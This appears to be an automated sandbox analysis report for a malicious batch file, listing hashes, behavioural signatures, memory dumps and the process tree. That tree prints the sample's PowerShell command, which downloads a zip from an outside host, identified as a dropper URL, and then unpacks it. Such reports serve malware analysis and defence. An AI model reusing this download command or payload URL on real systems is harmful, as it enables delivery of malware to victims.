1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1775s
max time network
1819s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 10:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy (6).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2656	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2656	powershell.exe
2576	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeDebugPrivilege	2576	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2736 wrote to memory of 2656	2736	cmd.exe	30
PID 2736 wrote to memory of 2656	2736	cmd.exe	30
PID 2736 wrote to memory of 2656	2736	cmd.exe	30
PID 2736 wrote to memory of 2576	2736	cmd.exe	31
PID 2736 wrote to memory of 2576	2736	cmd.exe	31
PID 2736 wrote to memory of 2576	2736	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (6).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2576

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0694e3a657b3a936bc8932797db2e5d5

SHA1
884910dbaee0d6d49ccae57ed34376cc9ac13d8b

SHA256
80cdde97dcdcdc7b8ac0d431165bbc89962d5a0ba7e7676ead8dec6ddcd9f2ec

SHA512
43cdc6218fc7d36dab569476add0552ebd1c708b19f97aa454a096f6e1b88e91472aa34b6e535ca8a51310203c7c0594b27d30bad0069db14e507a28c3811f0a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OYDKI40T0MSFMMS8MNWN.temp

Filesize
7KB

MD5
fb816e3b559797fcd31a8423afa74d96

SHA1
87f6181b15b68d785915f98994dc82fd38996bf5

SHA256
f3433842f77c80d0cc4a982200ea8fe72fed1c34e304aa32c754236b163d6ca4

SHA512
037c68f984b206955d695ab6af2eb06dc07c8ee23f2be8f5f9cca31d1effd538fe46f9a0ed3b3fd1739598e7eb39ef2630a41248821b2f8a74244a0a552c452b

Download Submit
memory/2576-31-0x000007FEF4D30000-0x000007FEF56CD000-memory.dmp

Filesize
9.6MB

Download
memory/2576-30-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/2576-29-0x000007FEF4D30000-0x000007FEF56CD000-memory.dmp

Filesize
9.6MB

Download
memory/2576-28-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/2576-27-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/2576-26-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/2576-24-0x000000001B300000-0x000000001B5E2000-memory.dmp

Filesize
2.9MB

Download
memory/2576-25-0x000007FEF4D30000-0x000007FEF56CD000-memory.dmp

Filesize
9.6MB

Download
memory/2656-9-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2656-16-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2656-18-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2656-15-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2656-14-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2656-13-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2656-11-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2656-10-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2656-4-0x000000001B2B0000-0x000000001B592000-memory.dmp

Filesize
2.9MB

Download
memory/2656-8-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2656-7-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2656-6-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2656-5-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download